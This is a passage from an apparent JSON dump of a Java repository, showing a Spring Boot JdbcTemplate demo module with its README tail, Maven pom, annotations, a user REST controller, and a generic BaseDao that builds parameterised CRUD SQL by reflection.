<groupId>cn.hutool</groupId>\n         <artifactId>hutool-all</artifactId>\n      </dependency>\n\n      <dependency>\n         <groupId>org.projectlombok</groupId>\n         <artifactId>lombok</artifactId>\n         <optional>true</optional>\n      </dependency>\n   </dependencies>\n\n   <build>\n      <finalName>spring-boot-demo-orm-jdbctemplate</finalName>\n      <plugins>\n         <plugin>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-maven-plugin</artifactId>\n         </plugin>\n      </plugins>\n   </build>\n\n</project>\n```\n\n## BaseDao.java\n\n```java\n/**\n * <p>\n * Dao基类\n * </p>\n *\n * @package: com.jun.plugin.orm.jdbctemplate.dao.base\n * @description: Dao基类\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 11:28 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\npublic class BaseDao<T, P> {\n   private JdbcTemplate jdbcTemplate;\n   private Class<T> clazz;\n\n   @SuppressWarnings(value = \"unchecked\")\n   public BaseDao(JdbcTemplate jdbcTemplate) {\n      this.jdbcTemplate = jdbcTemplate;\n      clazz = (Class<T>) ((ParameterizedType) getClass().getGenericSuperclass()).getActualTypeArguments()[0];\n   }\n\n   /**\n    * 通用插入，自增列需要添加 {@link Pk} 注解\n    *\n    * @param t          对象\n    * @param ignoreNull 是否忽略 null 值\n    * @return 操作的行数\n    */\n   protected Integer insert(T t, Boolean ignoreNull) {\n      String table = getTableName(t);\n\n      List<Field> filterField = getField(t, ignoreNull);\n\n      List<String> columnList = getColumns(filterField);\n\n      String columns = StrUtil.join(Const.SEPARATOR_COMMA, columnList);\n\n      // 构造占位符\n      String params = StrUtil.repeatAndJoin(\"?\", columnList.size(), Const.SEPARATOR_COMMA);\n\n      // 构造值\n      Object[] values = filterField.stream().map(field -> ReflectUtil.getFieldValue(t, field)).toArray();\n\n      String sql = StrUtil.format(\"INSERT INTO {table} ({columns}) VALUES ({params})\", Dict.create().set(\"table\", table).set(\"columns\", columns).set(\"params\", params));\n      log.debug(\"【执行SQL】SQL：{}\", sql);\n      log.debug(\"【执行SQL】参数：{}\", JSONUtil.toJsonStr(values));\n      return jdbcTemplate.update(sql, values);\n   }\n\n   /**\n    * 通用根据主键删除\n    *\n    * @param pk 主键\n    * @return 影响行数\n    */\n   protected Integer deleteById(P pk) {\n      String tableName = getTableName();\n      String sql = StrUtil.format(\"DELETE FROM {table} where id = ?\", Dict.create().set(\"table\", tableName));\n      log.debug(\"【执行SQL】SQL：{}\", sql);\n      log.debug(\"【执行SQL】参数：{}\", JSONUtil.toJsonStr(pk));\n      return jdbcTemplate.update(sql, pk);\n   }\n\n   /**\n    * 通用根据主键更新，自增列需要添加 {@link Pk} 注解\n    *\n    * @param t          对象\n    * @param pk         主键\n    * @param ignoreNull 是否忽略 null 值\n    * @return 操作的行数\n    */\n   protected Integer updateById(T t, P pk, Boolean ignoreNull) {\n      String tableName = getTableName(t);\n\n      List<Field> filterField = getField(t, ignoreNull);\n\n      List<String> columnList = getColumns(filterField);\n\n      List<String> columns = columnList.stream().map(s -> StrUtil.appendIfMissing(s, \" = ?\")).collect(Collectors.toList());\n      String params = StrUtil.join(Const.SEPARATOR_COMMA, columns);\n\n      // 构造值\n      List<Object> valueList = filterField.stream().map(field -> ReflectUtil.getFieldValue(t, field)).collect(Collectors.toList());\n      valueList.add(pk);\n\n      Object[] values = ArrayUtil.toArray(valueList, Object.class);\n\n      String sql = StrUtil.format(\"UPDATE {table} SET {params} where id = ?\", Dict.create().set(\"table\", tableName).set(\"params\", params));\n      log.debug(\"【执行SQL】SQL：{}\", sql);\n      log.debug(\"【执行SQL】参数：{}\", JSONUtil.toJsonStr(values));\n      return jdbcTemplate.update(sql, values);\n   }\n\n   /**\n    * 通用根据主键查询单条记录\n    *\n    * @param pk 主键\n    * @return 单条记录\n    */\n   public T findOneById(P pk) {\n      String tableName = getTableName();\n      String sql = StrUtil.format(\"SELECT * FROM {table} where id = ?\", Dict.create().set(\"table\", tableName));\n      RowMapper<T> rowMapper = new BeanPropertyRowMapper<>(clazz);\n      log.debug(\"【执行SQL】SQL：{}\", sql);\n      log.debug(\"【执行SQL】参数：{}\", JSONUtil.toJsonStr(pk));\n      return jdbcTemplate.queryForObject(sql, new Object[]{pk}, rowMapper);\n   }\n\n   /**\n    * 根据对象查询\n    *\n    * @param t 查询条件\n    * @return 对象列表\n    */\n   public List<T> findByExample(T t) {\n      String tableName = getTableName(t);\n      List<Field> filterField = getField(t, true);\n      List<String> columnList = getColumns(filterField);\n\n      List<String> columns = columnList.stream().map(s -> \" and \" + s + \" = ? \").collect(Collectors.toList());\n\n      String where = StrUtil.join(\" \", columns);\n      // 构造值\n      Object[] values = filterField.stream().map(field -> ReflectUtil.getFieldValue(t, field)).toArray();\n\n      String sql = StrUtil.format(\"SELECT * FROM {table} where 1=1 {where}\", Dict.create().set(\"table\", tableName).set(\"where\", StrUtil.isBlank(where) ? \"\" : where));\n      log.debug(\"【执行SQL】SQL：{}\", sql);\n      log.debug(\"【执行SQL】参数：{}\", JSONUtil.toJsonStr(values));\n      List<Map<String, Object>> maps = jdbcTemplate.queryForList(sql, values);\n      List<T> ret = CollUtil.newArrayList();\n      maps.forEach(map -> ret.add(BeanUtil.fillBeanWithMap(map, ReflectUtil.newInstance(clazz), true, false)));\n      return ret;\n   }\n\n   /**\n    * 获取表名\n    *\n    * @param t 对象\n    * @return 表名\n    */\n   private String getTableName(T t) {\n      Table tableAnnotation = t.getClass().getAnnotation(Table.class);\n      if (ObjectUtil.isNotNull(tableAnnotation)) {\n         return StrUtil.format(\"`{}`\", tableAnnotation.name());\n      } else {\n         return StrUtil.format(\"`{}`\", t.getClass().getName().toLowerCase());\n      }\n   }\n\n   /**\n    * 获取表名\n    *\n    * @return 表名\n    */\n   private String getTableName() {\n      Table tableAnnotation = clazz.getAnnotation(Table.class);\n      if (ObjectUtil.isNotNull(tableAnnotation)) {\n         return StrUtil.format(\"`{}`\", tableAnnotation.name());\n      } else {\n         return StrUtil.format(\"`{}`\", clazz.getName().toLowerCase());\n      }\n   }\n\n   /**\n    * 获取列\n    *\n    * @param fieldList 字段列表\n    * @return 列信息列表\n    */\n   private List<String> getColumns(List<Field> fieldList) {\n      // 构造列\n      List<String> columnList = CollUtil.newArrayList();\n      for (Field field : fieldList) {\n         Column columnAnnotation = field.getAnnotation(Column.class);\n         String columnName;\n         if (ObjectUtil.isNotNull(columnAnnotation)) {\n            columnName = columnAnnotation.name();\n         } else {\n            columnName = field.getName();\n         }\n         columnList.add(StrUtil.format(\"`{}`\", columnName));\n      }\n      return columnList;\n   }\n\n   /**\n    * 获取字段列表 {@code 过滤数据库中不存在的字段，以及自增列}\n    *\n    * @param t          对象\n    * @param ignoreNull 是否忽略空值\n    * @return 字段列表\n    */\n   private List<Field> getField(T t, Boolean ignoreNull) {\n      // 获取所有字段，包含父类中的字段\n      Field[] fields = ReflectUtil.getFields(t.getClass());\n\n      // 过滤数据库中不存在的字段，以及自增列\n      List<Field> filterField;\n      Stream<Field> fieldStream = CollUtil.toList(fields).stream().filter(field -> ObjectUtil.isNull(field.getAnnotation(Ignore.class)) || ObjectUtil.isNull(field.getAnnotation(Pk.class)));\n\n      // 是否过滤字段值为null的字段\n      if (ignoreNull) {\n         filterField = fieldStream.filter(field -> ObjectUtil.isNotNull(ReflectUtil.getFieldValue(t, field))).collect(Collectors.toList());\n      } else {\n         filterField = fieldStream.collect(Collectors.toList());\n      }\n      return filterField;\n   }\n\n}\n```\n\n## application.yml\n\n```yaml\nserver:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/spring-boot-demo?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n    username: root\n    password: root\n    driver-class-name: com.mysql.cj.jdbc.Driver\n    type: com.zaxxer.hikari.HikariDataSource\n    initialization-mode: always\n    continue-on-error: true\n    schema:\n    - \"classpath:db/schema.sql\"\n    data:\n    - \"classpath:db/data.sql\"\n    hikari:\n      minimum-idle: 5\n      connection-test-query: SELECT 1 FROM DUAL\n      maximum-pool-size: 20\n      auto-commit: true\n      idle-timeout: 30000\n      pool-name: SpringBootDemoHikariCP\n      max-lifetime: 60000\n      connection-timeout: 30000\nlogging:\n  level:\n    com.jun.plugin: debug\n```\n\n## 备注\n\n其余详细代码参见 demo"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_orm_jdbctemplate</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging> \n\t\n\t<name>springboot_orm_jdbctemplate</name>\n\t<description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-jdbc</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>cn.hutool</groupId>\n\t\t\t<artifactId>hutool-all</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>springboot_orm_jdbctemplate</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/SpringBootDemoOrmJdbctemplateApplication.java",
    "content": "package com.jun.plugin.orm.jdbctemplate;\n\nimport cn.hutool.core.util.IdUtil;\nimport cn.hutool.crypto.SecureUtil;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate\n * @description: 启动类\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 9:50 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoOrmJdbctemplateApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(SpringBootDemoOrmJdbctemplateApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/annotation/Column.java",
    "content": "package com.jun.plugin.orm.jdbctemplate.annotation;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * <p>\n * 列注解\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.annotation\n * @description: 列注解\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 11:23 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Retention(RetentionPolicy.RUNTIME)\n@Target({ElementType.FIELD})\npublic @interface Column {\n\t/**\n\t * 列名\n\t *\n\t * @return 列名\n\t */\n\tString name();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/annotation/Ignore.java",
    "content": "package com.jun.plugin.orm.jdbctemplate.annotation;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * <p>\n * 需要忽略的字段\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.annotation\n * @description: 需要忽略的字段\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 1:25 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Retention(RetentionPolicy.RUNTIME)\n@Target({ElementType.FIELD})\npublic @interface Ignore {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/annotation/Pk.java",
    "content": "package com.jun.plugin.orm.jdbctemplate.annotation;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * <p>\n * 主键注解\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.annotation\n * @description: 主键注解\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 11:23 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Retention(RetentionPolicy.RUNTIME)\n@Target({ElementType.FIELD})\npublic @interface Pk {\n\t/**\n\t * 自增\n\t *\n\t * @return 自增主键\n\t */\n\tboolean auto() default true;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/annotation/Table.java",
    "content": "package com.jun.plugin.orm.jdbctemplate.annotation;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * <p>\n * 表注解\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.annotation\n * @description: 表注解\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 11:23 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Retention(RetentionPolicy.RUNTIME)\n@Target({ElementType.TYPE})\npublic @interface Table {\n\t/**\n\t * 表名\n\t *\n\t * @return 表名\n\t */\n\tString name();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/constant/Const.java",
    "content": "package com.jun.plugin.orm.jdbctemplate.constant;\n\n/**\n * <p>\n * 常量池\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.constant\n * @description: 常量池\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 10:59 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface Const {\n\t/**\n\t * 加密盐前缀\n\t */\n\tString SALT_PREFIX = \"::SpringBootDemo::\";\n\n\t/**\n\t * 逗号分隔符\n\t */\n\tString SEPARATOR_COMMA = \",\";\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/controller/UserController.java",
    "content": "package com.jun.plugin.orm.jdbctemplate.controller;\n\nimport cn.hutool.core.lang.Dict;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\n\nimport com.jun.plugin.orm.jdbctemplate.entity.User;\nimport com.jun.plugin.orm.jdbctemplate.service.IUserService;\n\nimport java.util.List;\n\n/**\n * <p>\n * User Controller\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.controller\n * @description: User Controller\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 1:58 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@RestController\n@Slf4j\npublic class UserController {\n\tprivate final IUserService userService;\n\n\t@Autowired\n\tpublic UserController(IUserService userService) {\n\t\tthis.userService = userService;\n\t}\n\n\t@PostMapping(\"/user\")\n\tpublic Dict save(@RequestBody User user) {\n\t\tBoolean save = userService.save(user);\n\t\treturn Dict.create().set(\"code\", save ? 200 : 500).set(\"msg\", save ? \"成功\" : \"失败\").set(\"data\", save ? user : null);\n\t}\n\n\t@DeleteMapping(\"/user/{id}\")\n\tpublic Dict delete(@PathVariable Long id) {\n\t\tBoolean delete = userService.delete(id);\n\t\treturn Dict.create().set(\"code\", delete ? 200 : 500).set(\"msg\", delete ? \"成功\" : \"失败\");\n\t}\n\n\t@PutMapping(\"/user/{id}\")\n\tpublic Dict update(@RequestBody User user, @PathVariable Long id) {\n\t\tBoolean update = userService.update(user, id);\n\t\treturn Dict.create().set(\"code\", update ? 200 : 500).set(\"msg\", update ? \"成功\" : \"失败\").set(\"data\", update ? user : null);\n\t}\n\n\t@GetMapping(\"/user/{id}\")\n\tpublic Dict getUser(@PathVariable Long id) {\n\t\tUser user = userService.getUser(id);\n\t\treturn Dict.create().set(\"code\", 200).set(\"msg\", \"成功\").set(\"data\", user);\n\t}\n\n\t@GetMapping(\"/user\")\n\tpublic Dict getUser(User user) {\n\t\tList<User> userList = userService.getUser(user);\n\t\treturn Dict.create().set(\"code\", 200).set(\"msg\", \"成功\").set(\"data\", userList);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/dao/UserDao.java",
    "content": "package com.jun.plugin.orm.jdbctemplate.dao;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Repository;\n\nimport com.jun.plugin.orm.jdbctemplate.dao.base.BaseDao;\nimport com.jun.plugin.orm.jdbctemplate.entity.User;\n\nimport java.util.List;\n\n/**\n * <p>\n * User Dao\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.dao\n * @description: User Dao\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 11:15 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Repository\npublic class UserDao extends BaseDao<User, Long> {\n\n\t@Autowired\n\tpublic UserDao(JdbcTemplate jdbcTemplate) {\n\t\tsuper(jdbcTemplate);\n\t}\n\n\t/**\n\t * 保存用户\n\t *\n\t * @param user 用户对象\n\t * @return 操作影响行数\n\t */\n\tpublic Integer insert(User user) {\n\t\treturn super.insert(user, true);\n\t}\n\n\t/**\n\t * 根据主键删除用户\n\t *\n\t * @param id 主键id\n\t * @return 操作影响行数\n\t */\n\tpublic Integer delete(Long id) {\n\t\treturn super.deleteById(id);\n\t}\n\n\t/**\n\t * 更新用户\n\t *\n\t * @param user 用户对象\n\t * @param id   主键id\n\t * @return 操作影响行数\n\t */\n\tpublic Integer update(User user, Long id) {\n\t\treturn super.updateById(user, id, true);\n\t}\n\n\t/**\n\t * 根据主键获取用户\n\t *\n\t * @param id 主键id\n\t * @return id对应的用户\n\t */\n\tpublic User selectById(Long id) {\n\t\treturn super.findOneById(id);\n\t}\n\n\t/**\n\t * 根据查询条件获取用户列表\n\t *\n\t * @param user 用户查询条件\n\t * @return 用户列表\n\t */\n\tpublic List<User> selectUserList(User user) {\n\t\treturn super.findByExample(user);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/dao/base/BaseDao.java",
    "content": "package com.jun.plugin.orm.jdbctemplate.dao.base;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.core.lang.Dict;\nimport cn.hutool.core.util.ArrayUtil;\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.ReflectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.json.JSONUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.jdbc.core.BeanPropertyRowMapper;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.RowMapper;\n\nimport com.jun.plugin.orm.jdbctemplate.annotation.Column;\nimport com.jun.plugin.orm.jdbctemplate.annotation.Ignore;\nimport com.jun.plugin.orm.jdbctemplate.annotation.Pk;\nimport com.jun.plugin.orm.jdbctemplate.annotation.Table;\nimport com.jun.plugin.orm.jdbctemplate.constant.Const;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.ParameterizedType;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\nimport java.util.stream.Stream;\n\n/**\n * <p>\n * Dao基类\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.dao.base\n * @description: Dao基类\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 11:28 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\npublic class BaseDao<T, P> {\n\tprivate JdbcTemplate jdbcTemplate;\n\tprivate Class<T> clazz;\n\n\t@SuppressWarnings(value = \"unchecked\")\n\tpublic BaseDao(JdbcTemplate jdbcTemplate) {\n\t\tthis.jdbcTemplate = jdbcTemplate;\n\t\tclazz = (Class<T>) ((ParameterizedType) getClass().getGenericSuperclass()).getActualTypeArguments()[0];\n\t}\n\n\t/**\n\t * 通用插入，自增列需要添加 {@link Pk} 注解\n\t *\n\t * @param t          对象\n\t * @param ignoreNull 是否忽略 null 值\n\t * @return 操作的行数\n\t */\n\tprotected Integer insert(T t, Boolean ignoreNull) {\n\t\tString table = getTableName(t);\n\n\t\tList<Field> filterField = getField(t, ignoreNull);\n\n\t\tList<String> columnList = getColumns(filterField);\n\n\t\tString columns = StrUtil.join(Const.SEPARATOR_COMMA, columnList);\n\n\t\t// 构造占位符\n\t\tString params = StrUtil.repeatAndJoin(\"?\", columnList.size(), Const.SEPARATOR_COMMA);\n\n\t\t// 构造值\n\t\tObject[] values = filterField.stream().map(field -> ReflectUtil.getFieldValue(t, field)).toArray();\n\n\t\tString sql = StrUtil.format(\"INSERT INTO {table} ({columns}) VALUES ({params})\", Dict.create().set(\"table\", table).set(\"columns\", columns).set(\"params\", params));\n\t\tlog.debug(\"【执行SQL】SQL：{}\", sql);\n\t\tlog.debug(\"【执行SQL】参数：{}\", JSONUtil.toJsonStr(values));\n\t\treturn jdbcTemplate.update(sql, values);\n\t}\n\n\t/**\n\t * 通用根据主键删除\n\t *\n\t * @param pk 主键\n\t * @return 影响行数\n\t */\n\tprotected Integer deleteById(P pk) {\n\t\tString tableName = getTableName();\n\t\tString sql = StrUtil.format(\"DELETE FROM {table} where id = ?\", Dict.create().set(\"table\", tableName));\n\t\tlog.debug(\"【执行SQL】SQL：{}\", sql);\n\t\tlog.debug(\"【执行SQL】参数：{}\", JSONUtil.toJsonStr(pk));\n\t\treturn jdbcTemplate.update(sql, pk);\n\t}\n\n\t/**\n\t * 通用根据主键更新，自增列需要添加 {@link Pk} 注解\n\t *\n\t * @param t          对象\n\t * @param pk         主键\n\t * @param ignoreNull 是否忽略 null 值\n\t * @return 操作的行数\n\t */\n\tprotected Integer updateById(T t, P pk, Boolean ignoreNull) {\n\t\tString tableName = getTableName(t);\n\n\t\tList<Field> filterField = getField(t, ignoreNull);\n\n\t\tList<String> columnList = getColumns(filterField);\n\n\t\tList<String> columns = columnList.stream().map(s -> StrUtil.appendIfMissing(s, \" = ?\")).collect(Collectors.toList());\n\t\tString params = StrUtil.join(Const.SEPARATOR_COMMA, columns);\n\n\t\t// 构造值\n\t\tList<Object> valueList = filterField.stream().map(field -> ReflectUtil.getFieldValue(t, field)).collect(Collectors.toList());\n\t\tvalueList.add(pk);\n\n\t\tObject[] values = ArrayUtil.toArray(valueList, Object.class);\n\n\t\tString sql = StrUtil.format(\"UPDATE {table} SET {params} where id = ?\", Dict.create().set(\"table\", tableName).set(\"params\", params));\n\t\tlog.debug(\"【执行SQL】SQL：{}\", sql);\n\t\tlog.debug(\"【执行SQL】参数：{}\", JSONUtil.toJsonStr(values));\n\t\treturn jdbcTemplate.update(sql, values);\n\t}\n\n\t/**\n\t * 通用根据主键查询单条记录\n\t *\n\t * @param pk 主键\n\t * @return 单条记录\n\t */\n\tpublic T findOneById(P pk) {\n\t\tString tableName = getTableName();\n\t\tString sql = StrUtil.format(\"SELECT * FROM {table} where id = ?\", Dict.create().set(\"table\", tableName));\n\t\tRowMapper<T> rowMapper = new BeanPropertyRowMapper<>(clazz);\n\t\tlog.debug(\"【执行SQL】SQL：{}\", sql);\n\t\tlog.debug(\"【执行SQL】参数：{}\", JSONUtil.toJsonStr(pk));\n\t\treturn jdbcTemplate.queryForObject(sql, new Object[]{pk}, rowMapper);\n\t}\n\n\t/**\n\t * 根据对象查询\n\t *\n\t * @param t 查询条件\n\t * @return 对象列表\n\t */\n\tpublic List<T> findByExample(T t) {\n\t\tString tableName = getTableName(t);\n\t\tList<Field> filterField = getField(t, true);\n\t\tList<String> columnList = getColumns(filterField);\n\n\t\tList<String> columns = columnList.stream().map(s -> \" and \" + s + \" = ? \").collect(Collectors.toList());\n\n\t\tString where = StrUtil.join(\" \", columns);\n\t\t// 构造值\n\t\tObject[] values = filterField.stream().map(field -> ReflectUtil.getFieldValue(t, field)).toArray();\n\n\t\tString sql = StrUtil.format(\"SELECT * FROM {table} where 1=1 {where}\", Dict.create().set(\"table\", tableName).set(\"where\", StrUtil.isBlank(where) ? \"\" : where));\n\t\tlog.debug(\"【执行SQL】SQL：{}\", sql);\n\t\tlog.debug(\"【执行SQL】参数：{}\", JSONUtil.toJsonStr(values));\n\t\tList<Map<String, Object>> maps = jdbcTemplate.queryForList(sql, values);\n\t\tList<T> ret = CollUtil.newArrayList();\n\t\tmaps.forEach(map -> ret.add(BeanUtil.fillBeanWithMap(map, ReflectUtil.newInstance(clazz), true, false)));\n\t\treturn ret;\n\t}\n\n\t/**\n\t * 获取表名\n\t *\n\t * @param t 对象\n\t * @return 表名\n\t */\n\tprivate String getTableName(T t) {\n\t\tTable tableAnnotation = t.getClass().getAnnotation(Table.class);\n\t\tif (ObjectUtil.isNotNull(tableAnnotation)) {\n\t\t\treturn StrUtil.format(\"`{}`\", tableAnnotation.name());\n\t\t} else {\n\t\t\treturn StrUtil.format(\"`{}`\", t.getClass().getName().toLowerCase());\n\t\t}\n\t}\n\n\t/**\n\t * 获取表名\n\t *\n\t * @return 表名\n\t */\n\tprivate String getTableName() {\n\t\tTable tableAnnotation = clazz.getAnnotation(Table.class);\n\t\tif (ObjectUtil.isNotNull(tableAnnotation)) {\n\t\t\treturn StrUtil.format(\"`{}`\", tableAnnotation.name());\n\t\t} else {\n\t\t\treturn StrUtil.format(\"`{}`\", clazz.getName().toLowerCase());\n\t\t}\n\t}\n\n\t/**\n\t * 获取列\n\t *\n\t * @param fieldList 字段列表\n\t * @return 列信息列表\n\t */\n\tprivate List<String> getColumns(List<Field> fieldList) {\n\t\t// 构造列\n\t\tList<String> columnList = CollUtil.newArrayList();\n\t\tfor (Field field : fieldList) {\n\t\t\tColumn columnAnnotation = field.getAnnotation(Column.class);\n\t\t\tString columnName;\n\t\t\tif (ObjectUtil.isNotNull(columnAnnotation)) {\n\t\t\t\tcolumnName = columnAnnotation.name();\n\t\t\t} else {\n\t\t\t\tcolumnName = field.getName();\n\t\t\t}\n\t\t\tcolumnList.add(StrUtil.format(\"`{}`\", columnName));\n\t\t}\n\t\treturn columnList;\n\t}\n\n\t/**\n\t * 获取字段列表 {@code 过滤数据库中不存在的字段，以及自增列}\n\t *\n\t * @param t          对象\n\t * @param ignoreNull 是否忽略空值\n\t * @return 字段列表\n\t */\n\tprivate List<Field> getField(T t, Boolean ignoreNull) {\n\t\t// 获取所有字段，包含父类中的字段\n\t\tField[] fields = ReflectUtil.getFields(t.getClass());\n\n\t\t// 过滤数据库中不存在的字段，以及自增列\n\t\tList<Field> filterField;\n\t\tStream<Field> fieldStream = CollUtil.toList(fields).stream().filter(field -> ObjectUtil.isNull(field.getAnnotation(Ignore.class)) || ObjectUtil.isNull(field.getAnnotation(Pk.class)));\n\n\t\t// 是否过滤字段值为null的字段\n\t\tif (ignoreNull) {\n\t\t\tfilterField = fieldStream.filter(field -> ObjectUtil.isNotNull(ReflectUtil.getFieldValue(t, field))).collect(Collectors.toList());\n\t\t} else {\n\t\t\tfilterField = fieldStream.collect(Collectors.toList());\n\t\t}\n\t\treturn filterField;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/entity/User.java",
